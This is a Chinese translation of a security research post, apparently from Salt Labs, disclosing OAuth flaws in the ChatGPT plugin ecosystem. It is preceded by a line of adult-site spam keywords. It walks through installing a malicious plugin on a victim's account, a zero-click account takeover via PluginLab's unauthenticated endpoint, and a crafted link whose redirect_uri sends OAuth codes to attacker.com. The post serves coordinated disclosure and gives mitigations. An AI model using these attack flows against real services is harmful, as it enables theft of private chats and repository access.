99成人在线观看,最近中文字幕在线视频1,欧美精品18vide0sex性欧美

安全方面

生成式人工智能是一項(xiàng)巨大的技術(shù)成就，有人甚至稱其為過去十年計(jì)算機(jī)科學(xué)取得的最重要成就。
與任何技術(shù)（尤其是新技術(shù)）一樣，生成式人工智能也存在風(fēng)險(xiǎn)。

一般來說，這些平臺(tái)的風(fēng)險(xiǎn)可能來源于幾個(gè)地方：

與生成式人工智能平臺(tái)本身相關(guān)的風(fēng)險(xiǎn)——通常是由于核心平臺(tái)中的錯(cuò)誤或安全漏洞造成的。
雖然這仍然是一個(gè)新的研究課題，安全社區(qū)尚未設(shè)法涵蓋其中的大部分內(nèi)容，但一些風(fēng)險(xiǎn)已經(jīng)被發(fā)現(xiàn)并公布。
一些例子包括最近發(fā)現(xiàn)的兩個(gè)有趣的漏洞。第一個(gè)是Imperva 的 Ron Masas 進(jìn)行的一項(xiàng)研究，該研究揭示了 ChatGPT 中一個(gè)令人印象深刻的 XSS。
最近發(fā)現(xiàn)的另一個(gè)有趣的漏洞是“Harel Security Research”發(fā)現(xiàn)的緩存欺騙攻擊。
一旦受害者點(diǎn)擊惡意 URL，這兩個(gè)漏洞都可以被利用，這允許攻擊者竊取 ChatGPT 用戶的敏感數(shù)據(jù)。
與生成式人工智能生態(tài)系統(tǒng)相關(guān)的風(fēng)險(xiǎn)——通常由連接生成式人工智能和外部服務(wù)的代碼中的安全漏洞或第三方服務(wù)本身中發(fā)現(xiàn)的安全漏洞引起。

由于我們認(rèn)為生成式人工智能生態(tài)系統(tǒng)在潛在安全風(fēng)險(xiǎn)方面是一個(gè)相對(duì)未開發(fā)的領(lǐng)域，因此我們決定啟動(dòng)一個(gè)深入關(guān)注這一領(lǐng)域的研究項(xiàng)目，并嘗試更多地闡明對(duì)生成式人工智能平臺(tái)生態(tài)系統(tǒng)進(jìn)行成功攻擊的可能風(fēng)險(xiǎn)和可能結(jié)果。

ChatGPT 插件的安全性

與 Salt-Labs 的慣例一樣，我們的研究人員會(huì)選擇他們最了解、最喜歡的研究目標(biāo)，以及他們?nèi)粘Ｊ褂玫哪繕?biāo)。
因此，我們決定探索 ChatGPT 的生態(tài)系統(tǒng)。我們堅(jiān)信，我們?cè)谶@項(xiàng)研究中的整體發(fā)現(xiàn)與任何生成式 AI 平臺(tái)都相關(guān)，但為了讓我們保持專注，我們的研究范圍僅限于 ChatGPT。

在 ChatGPT 中，連接第三方服務(wù)的生態(tài)系統(tǒng)稱為 ChatGPT 插件，如前所述，它們可以為攻擊者帶來新的有趣的攻擊面。

當(dāng)您使用這些插件時(shí)，您實(shí)際上授予 ChatGPT 代表您將敏感數(shù)據(jù)發(fā)送到第三方網(wǎng)站的權(quán)限，并且根據(jù)插件的不同，您還授予這些插件訪問您在 Google Drive、GitHub 等上的私人帳戶的權(quán)限。

上圖取自 ChatGPT，顯示如果我們能在這里找到漏洞，這很可能會(huì)危及 ChatGPT 和第三方網(wǎng)站中的
敏感數(shù)據(jù)。但插件到底是什么？

很簡(jiǎn)單——插件只是由“未知”開發(fā)人員創(chuàng)建的應(yīng)用程序。但是，用戶界面仍然是 ChatGPT，這給用戶帶來了更一致（和“安全”）的感覺
。?

注意——關(guān)于 ChatGPT GPT 的一句話? 我們的研究是在 2023 年 7 月進(jìn)行的，當(dāng)時(shí)“ChatGPT 插件”是主要功能，因此，這是本博客的重點(diǎn)。雖然插件仍然很受歡迎，但在 2023 年 11 月，

ChatGPT 推出了一項(xiàng)新功能——GPT。GPT是任何開發(fā)人員都可以發(fā)布的 ChatGPT 的自定義版本，并包含一個(gè)名為“Action”的選項(xiàng)，可將其與外界聯(lián)系起來。GPT 的 Actions 是一個(gè)與插件類似的概念，我們將在后續(xù)文章中探討 Salt Labs 團(tuán)隊(duì)在多個(gè)第三方 GPT 中發(fā)現(xiàn)的一個(gè)漏洞。值得一提的是，OpenAI 在 GPT 安全性方面做得非常出色，這是對(duì)插件的重大改進(jìn)，解決了本博客中描述的許多“插件”問題。

關(guān)于我們的研究

研究的第一部分重點(diǎn)關(guān)注 ChatGPT 中直接發(fā)現(xiàn)的一個(gè)漏洞，該漏洞允許攻擊者在未經(jīng) ChatGPT 用戶批準(zhǔn)的情況下在他們身上安裝惡意插件。

本篇博文的第二部分是對(duì)插件概念的安全性審查，并展示了數(shù)十個(gè)插件中存在的兩個(gè)關(guān)鍵帳戶接管漏洞。本文的重點(diǎn)不是發(fā)現(xiàn)特定的第三方插件，而是一般概念。我們?cè)诖私榻B我們?cè)诙鄠€(gè)插件上反復(fù)發(fā)現(xiàn)的重復(fù)問題和漏洞。我們相信，如果開發(fā)人員更多地意識(shí)到風(fēng)險(xiǎn)，其中一些漏洞是可以避免的，我們希望我們的博文能夠幫助實(shí)現(xiàn)這一目標(biāo)。我們還呼吁 OpenAI 在其開發(fā)人員文檔中更加強(qiáng)調(diào)安全性，我們將在查看第三個(gè)漏洞發(fā)現(xiàn)時(shí)進(jìn)一步解釋這一點(diǎn)。

第一個(gè)漏洞直接存在于 ChatGPT 中，允許攻擊者在 ChatGPT 用戶身上安裝惡意插件。

為了理解第一個(gè)漏洞，我們必須首先向您展示 OAuth 身份驗(yàn)證的工作原理：

假設(shè)您是 Dan，您想使用 Facebook 帳戶連接到 Example.com。當(dāng)您點(diǎn)擊“使用 Facebook 登錄”時(shí)會(huì)發(fā)生什么？

在步驟 2-3 中：

Dan 點(diǎn)擊使用 Facebook 登錄后，www.example.com 將打開一個(gè)新窗口并顯示以下地址：

https://www.facebook.com/v3.0/dialog/oauth?redirect_uri=https://www.example.com/OAuth&scope=email&client_id=1501&state=[random_value]&response_type=token

在步驟 4-5 中：

Facebook 為 www.example.com 準(zhǔn)備一個(gè)秘密令牌，并將瀏覽器重定向回 redirect_uri（步驟 2 中的參數(shù)）。確切的重定向：

https://www.example.com/OAuth#token=[secret_token]

在步驟 6-7 中：

www.example.com從 URL 中讀取令牌，并使用它直接與 Facebook 對(duì)話以完成身份驗(yàn)證并驗(yàn)證 Dan 的身份。

筆記

了解步驟 2-3 中的 URL 是可選的（您可以跳過它）。但是，如果您好奇并想了解有關(guān) OAuth 的更多信息，您可以閱讀我們對(duì) OAuth 重定向操作的完整解釋，就像我們?cè)?Booking.com 的帳戶接管中描述的那樣：https://salt.security/blog/traveling-with-oauth-account-takeover-on-booking-com

讓我們重點(diǎn)關(guān)注第 5 步：

https://www.example.com/OAuth#token=[secret_token]

在此步驟中，www.example.com接收令牌，并根據(jù)此令牌識(shí)別用戶。如果攻擊者將此鏈接發(fā)送給受害者，但帶有攻擊者的憑據(jù)（令牌），會(huì)發(fā)生什么情況？

由于 example.com 是一個(gè)存在漏洞的應(yīng)用程序，它不會(huì)驗(yàn)證 Dan 是否啟動(dòng)了 OAuth 流程，因此受害者（Dan）將作為攻擊者連接到 Example.com：

在這種情況下，攻擊者可以操縱受害者使用他的憑證登錄網(wǎng)站！

您可能會(huì)問自己，這有什么大不了的？ 而且您并不孤單，許多 OAuth 開發(fā)人員認(rèn)為這不是一個(gè)安全問題，因此不會(huì)防范此類攻擊。

為了了解其中的奧秘，我想在 ChatGPT 上進(jìn)行演示。

當(dāng)用戶安裝需要 OAuth 用戶批準(zhǔn)的插件時(shí)，ChatGPT 會(huì)啟動(dòng)以下流程：

步驟 1-2：

當(dāng)用戶安裝新插件時(shí)，ChatGPT 會(huì)將他重定向到插件網(wǎng)站以接收代碼（對(duì)于這篇文章來說，該代碼與令牌相同）。

步驟 3-5：

用戶需要批準(zhǔn)該插件，用戶批準(zhǔn)后，插件會(huì)生成一個(gè)代碼并使用該代碼將用戶重定向回 ChatGPT。

該插件將用戶重定向到以下鏈接：

https://chat.openai.com/aip/{plugin_ID}/oauth/callback?code={secret_code}

步驟 6-7：

當(dāng) ChatGPT 收到代碼時(shí)，它會(huì)自動(dòng)安裝插件并可以代表用戶與插件進(jìn)行交互。

用戶在ChatGPT中寫的任何消息都可以轉(zhuǎn)發(fā)到插件。

聽起來很熟悉？這是與www.example.com相同的 OAuth 圖。新插件安裝中的第 5 步與我們剛剛描述的 OAuth 身份驗(yàn)證中的第 5 步相同。

問題與攻擊：

ChatGPT 不會(huì)驗(yàn)證用戶是否確實(shí)啟動(dòng)了插件安裝。

攻擊者可以將步驟 5 中的鏈接發(fā)送給受害者，如果受害者點(diǎn)擊該鏈接，則具有攻擊者憑據(jù)的新惡意插件將自動(dòng)安裝在受害者的帳戶上。

受害者編寫的任何新消息都可能被轉(zhuǎn)移到該插件中。

例如，攻擊者可以向受害者發(fā)送以下鏈接（指向chatgpt.openai.com域的合法鏈接）：

{malicious_plugin_id} 是攻擊者想要在受害者身上安裝的插件標(biāo)識(shí)符。

{attacker_code_from_malicious_plugin) 是攻擊者從插件收到的代碼。

通過點(diǎn)擊此鏈接，受害者無需確認(rèn)即可安裝惡意插件。

影響

攻擊者可以編寫自己的插件，告訴 ChatGPT 將幾乎所有的聊天數(shù)據(jù)轉(zhuǎn)發(fā)到這個(gè)插件，然后通過利用 ChatGPT 中的漏洞，他可以在受害者帳戶上安裝這個(gè)惡意插件。

由于攻擊者是該插件的所有者，他可以看到受害者的私人聊天數(shù)據(jù)，其中可能包括憑證、密碼或其他敏感數(shù)據(jù)。

在 ChatGPT 插件的文檔中，他們寫道“隨著時(shí)間的推移，我們預(yù)計(jì)系統(tǒng)將不斷發(fā)展以適應(yīng)更高級(jí)的用例”，因此隨著 ChatGPT 插件的不斷發(fā)展（現(xiàn)在稱為 GPT），此類漏洞的安全影響也會(huì)變得更加顯著。

緩解措施

如果您實(shí)施 OAuth 并希望防止這種情況，則應(yīng)該實(shí)施 OAuth RFC 中所述的狀態(tài)參數(shù)：

請(qǐng)注意，ChatGPT 確實(shí)實(shí)現(xiàn)了狀態(tài)參數(shù)，但它們的狀態(tài)不是隨機(jī)值，因此攻擊者可以猜測(cè)到
。

第二個(gè)漏洞 ——多個(gè)插件上的零點(diǎn)擊賬戶接管，使攻擊者能夠控制組織在 GitHub 等第三方網(wǎng)站上的賬戶

在深入探討細(xì)節(jié)之前，我們首先要解釋一下插件上的帳戶接管是什么意思。

當(dāng)您安裝與 GitHub 交互的插件時(shí)，此插件會(huì)在插件網(wǎng)站上為您創(chuàng)建一個(gè)額外的帳戶，用于存儲(chǔ)您在 GitHub 的憑據(jù)。使用這些憑據(jù)，插件可以訪問包含機(jī)密和源代碼的私有存儲(chǔ)庫。

如果攻擊者通過此插件控制了您的帳戶，那么他還可以訪問您的私人 GitHub 存儲(chǔ)庫。

插件實(shí)驗(yàn)室

PluginLab (pluginlab.ai) 是開發(fā)人員/公司用來開發(fā) ChatGPT 插件的框架。

使用 PluginLab 開發(fā)的示例插件有 ScholarAI、ChatOCR、KeyMateAI、ChatOCR、KeyMateAI、ShowNotes、Perfect Chirp 等。

在我們的示例中，我們將使用“AskTheCode”——一個(gè)使用 PluginLab.AI 開發(fā)的插件，可讓您向 GitHub 存儲(chǔ)庫提出問題，這意味著使用此插件的用戶授予其訪問其 GitHub 存儲(chǔ)庫的權(quán)限。

AskTheCode 上的帳戶接管意味著攻擊者可以訪問使用此插件的任何用戶的 GitHub 存儲(chǔ)庫。

在下圖中，我們演示了如何使用 ChatGPT 訪問受害者 Dan Brown (moreisless3dan) 的私人存儲(chǔ)庫。

（該截圖來自攻擊者賬戶，展示了他如何從受害者的 GitHub 中讀取私人文件）

技術(shù)細(xì)節(jié)——工作原理

當(dāng)用戶安裝插件“AskTheCode”（或使用 PluginLab.AI 開發(fā)的任何其他插件）時(shí)，ChatGPT 開始安裝流程，主要步驟如下：

AskTheCode 為用戶創(chuàng)建一個(gè)新帳戶，并請(qǐng)求用戶允許訪問其 GitHub 帳戶。AskTheCode 存儲(chǔ) GitHub 憑據(jù)。
AskTheCode 為 ChatGPT 生成代碼。
ChatGPT 使用代碼連接到 AskTheCode 上的用戶帳戶。
插件已安裝。

為了您的方便，我們附加了描述流程的圖表：

您需要從圖中獲取的是“代碼”，這是 AskTheCode 傳遞給 ChatGPT 的秘密。您可以將該代碼視為 ChatGPT 用于連接到 Dan 在 AskTheCode 上的帳戶的密碼。

攻擊者的目標(biāo)是竊取該代碼并接管帳戶。

有趣的是，在步驟 3 之后，AskTheCode 從客戶端的瀏覽器向https://auth.pluginlab.ai/oauth/authorize發(fā)出請(qǐng)求，以根據(jù)用戶 memberId 檢索代碼：

響應(yīng)如下：

然后，在步驟 5 中，AskTheCode 使用代碼“5e806…”將用戶重定向到 ChatGPT，然后 ChatGPT 可以使用該代碼代表用戶在 AskTheCode（最終為 GitHub）中執(zhí)行操作。

問題和攻擊：

https://auth.pluginlab.ai/oauth/authorized不會(huì)對(duì)請(qǐng)求進(jìn)行身份驗(yàn)證，這意味著攻擊者可以插入另一個(gè) memberId（即受害者）并獲取代表受害者的代碼。使用該代碼，他可以使用 ChatGPT 并訪問受害者的 GitHub。

攻擊者唯一需要的就是受害者的memberId。

可以通過使用端點(diǎn)https://auth.pluginlab.ai/members/requestMagicEmailCode來實(shí)現(xiàn)。

端點(diǎn)收到一封電子郵件并返回（沒有已知原因）memberID 和其他數(shù)據(jù)：

攻擊流程：

假設(shè)我們有受害者的電子郵件：

攻擊者使用端點(diǎn)https://auth.pluginlab.ai/members/requestMagicEmailCode來獲取他想要的任何用戶（受害者）的 memberID。
請(qǐng)注意，memberID 只是電子郵件的 SHA1，因此攻擊者可以自己計(jì)算 SHA1 值
，
一旦攻擊者獲得了受害者的會(huì)員 ID，他就會(huì)進(jìn)入 ChatGPT，在他的賬戶上安裝“AskTheCode”插件，并攔截對(duì)https://auth.pluginlab.ai/oauth/authorized的請(qǐng)求。在對(duì)https://auth.pluginlab.ai/oauth/authorized
的請(qǐng)求中，攻擊者不需要發(fā)送攻擊者的會(huì)員 ID，而是可以使用步驟中的哈希值，并收到代表受害者的代碼。
攻擊者將此代碼轉(zhuǎn)發(fā)給ChatGPT。
攻擊者現(xiàn)在可以讀取受害者的所有存儲(chǔ)庫，因?yàn)樗麆倓傇谧约旱?ChatGPT 帳戶上用受害者帳戶安裝了 AskTheCode。例如，攻擊者可以寫“給我一份所有私人存儲(chǔ)庫的列表”，ChatGPT 會(huì)將此消息發(fā)送給 AskTheCode，后者將連接到受害者的 GitHub 存儲(chǔ)庫以檢索數(shù)據(jù)。
（請(qǐng)注意，即使不使用 ChatGPT，攻擊者也可以直接與插件對(duì)話。

筆記：

這是一種零點(diǎn)擊攻擊。攻擊者無需向受害者發(fā)送鏈接即可執(zhí)行賬戶接管。

正如我們前面提到的，該漏洞并不存在于 AskTheCode 中，而是存在于 PluginLab.AI 中，并且影響了數(shù)十個(gè)使用 PluginLab.AI 框架的其他插件。

本文中描述的所有問題均已向 PluginLab.AI 披露，該公司已迅速采取行動(dòng)解決并徹底緩解這些問題。

任何應(yīng)用程序都可能出現(xiàn)安全漏洞，響應(yīng)才是關(guān)鍵。我們感謝 PluginLab 的響應(yīng)。

這是他們的回應(yīng)：

“我們一收到您的發(fā)現(xiàn)，就立即展開了內(nèi)部調(diào)查。根據(jù)我們的調(diào)查結(jié)果，沒有任何用戶數(shù)據(jù)因發(fā)現(xiàn)的漏洞而受到損害，這讓我感到欣慰。在 PluginLab，客戶數(shù)據(jù)的安全性和完整性至關(guān)重要。我們很高興地報(bào)告，您指出的問題已得到及時(shí)處理和解決，從而增強(qiáng)了我們平臺(tái)的安全性。”

他們還向用戶發(fā)送了通知，稱沒有用戶受到影響，也沒有任何關(guān)鍵數(shù)據(jù)受到泄露。

第三類漏洞——OAuth 重定向操縱

這是我們?cè)诙鄠€(gè)插件中發(fā)現(xiàn)的一個(gè)經(jīng)典 OAuth 漏洞，但我們將使用插件 Kesem AI 作為示例。

該漏洞的影響與 pluginlab.ai 類似，都是對(duì)插件本身的賬戶接管。與不需要用戶交互的 PluginLab.AI 不同，此漏洞需要攻擊者向受害者發(fā)送鏈接。

技術(shù)細(xì)節(jié)

當(dāng)用戶安裝插件“Charts by Kesem AI”時(shí)，ChatGPT 啟動(dòng)以下流程：

將用戶重定向到 kesem.ai 以檢索 OAuth 代碼：
https://app.kesem.ai/login?response_type=code&client_id=474480292958-cjuv2hh070hr6ad6ei8h9slved6vng0d.apps.googleusercontent.com&redirect_uri=https://chat.openai.com/aip/plugin-fac4e968-c6a5-4fc9-b578-11d958122868/oauth/callback&scope=&state=34881ee1-98e1-4b54-8643-3c561178f1b3
Kesem.ai 使用 Google/Microsoft 或電子郵件對(duì)用戶進(jìn)行身份驗(yàn)證，并生成代碼
。?
Kesem.ai 將代碼轉(zhuǎn)移到步驟 1 中的 redirect_uri：
https://chat.openai.com/aip/plugin-fac4e968-c6a5-4fc9-b578-11d958122868/oauth/callback?code=eyJhbGciOiJSUzI1NiIsImtpZCI6ImM2MGI5ZGUwODBmZmFmYmZjMTgzMzllY2Q0NGFjNzdmN2ZhNGU4ZDMiLCJ0eXAiOiJKV1QifQ….

問題：

https://app.kesem.ai/login 不驗(yàn)證redirect_uri，這意味著攻擊者可以插入惡意的redirect_uri并竊取用戶憑證。

攻擊流程：

攻擊者向受害者發(fā)送以下鏈接：
https://app.kesem.ai/login ?response_type=code&client_id= 474480292958-cjuv2hh070hr6ad6ei8h9slved6vng0d.apps.googleusercontent.com //attacker.com&scope=&state=34881ee1-98e1-4b54-8643-3c561178f1b3?
當(dāng)受害者點(diǎn)擊該鏈接時(shí)，Kesem.ai 會(huì)自動(dòng)將代碼傳輸?shù)讲襟E 1 中的 redirect_uri：
https://attacker.com ?code=eyJhbGciOiJSUzI1NiIsImtpZCI6ImM2MGI5ZGUwODBmZmFmYmZjMTgzMzllY2Q0NGFjNzdmN2ZhNGU4ZDMiLCJ0eXAiOiJKV1QifQ…

與 Pluginab.ai 的情況一樣，攻擊者擁有受害者的憑證（代碼），并且可以以同樣的方式接管他的帳戶。

其他插件中發(fā)生了什么？

不幸的是，kesem.ai 只是我們?cè)诖耸褂玫囊粋€(gè)例子。

我們?cè)谄渌寮幸舶l(fā)現(xiàn)了這個(gè)漏洞，我們希望提高人們的認(rèn)識(shí)并鼓勵(lì)插件開發(fā)人員更多地關(guān)注 OAuth 和 redirect_uri 參數(shù)。

我們還發(fā)現(xiàn)插件確實(shí)會(huì)驗(yàn)證redirect_uri，但只驗(yàn)證域名而不驗(yàn)證路徑。但這種方法同樣存在漏洞，因?yàn)楣粽呖梢愿钠鋹阂獠寮穆窂讲⒏`取代碼。

在 ChatGPT 的文檔中，他們解釋了如何實(shí)現(xiàn)這一流程，但并沒有關(guān)注安全性。

如果 OpenAI 能夠改進(jìn)他們的文檔，包括插件（ https://platform.openai.com/docs/plugins/authentication）和操作（https://platform.openai.com/docs/actions/authentication），并為開發(fā)人員寫一句話強(qiáng)調(diào)強(qiáng)化 redirect_uri 的重要性，那就太好了。

ChatGPT GPT 怎么樣？

正如我們前面提到的，GPT 是插件的下一個(gè)版本，您可以在此處閱讀有關(guān)此功能的更多信息：https://openai.com/blog/introducing-gpts

本質(zhì)上，這些與插件的概念相同，但具有增強(qiáng)的安全協(xié)議。

OpenAI 已采取適當(dāng)措施，在每次將數(shù)據(jù)從 ChatGPT 發(fā)送到第三方供應(yīng)商時(shí)對(duì)用戶進(jìn)行教育和警告，從而使用戶更加了解：

總而言之，GPT 比插件在安全性方面有了顯著增強(qiáng)，有效地解決了本次討論中強(qiáng)調(diào)的大多數(shù)問題。盡管如此，用戶仍需對(duì)潛在風(fēng)險(xiǎn)保持警惕。

披露時(shí)間表

我們?cè)诖藚f(xié)調(diào)披露過程中遵循了以下時(shí)間表。再次感謝 ChatGPT、PluginLab.AI 和 Kesem.ai 采取行動(dòng)解決這些關(guān)鍵漏洞。

Salt Labs 發(fā)現(xiàn) ChatGPT 中的漏洞：2023 年 6 月 25 日
Salt Labs 向 ChatGPT 披露技術(shù)細(xì)節(jié)：2023 年 7 月 10 日
Salt Labs 發(fā)現(xiàn)并向 PluginLab.AI 和 KesemAI 披露技術(shù)細(xì)節(jié)：2023 年 9 月
在所有供應(yīng)商修復(fù)漏洞后，Salt Labs 向 OpenAI、PluginLab.AI 和 Kesem.ai 發(fā)送了此技術(shù)博客，詳細(xì)介紹了漏洞：2024 年 2 月 27 日
Salt 營銷團(tuán)隊(duì)與各公司營銷團(tuán)隊(duì)分享博客和新聞稿草稿：2024 年 2 月 27 日
Salt 發(fā)布博客和新聞稿：2024 年 3 月 13 日

文章來源：Security?Flaws?within?ChatGPT?Ecosystem?Allowed?Access?to?Accounts?On?Third-Party?Websites?and?Sensitive?Data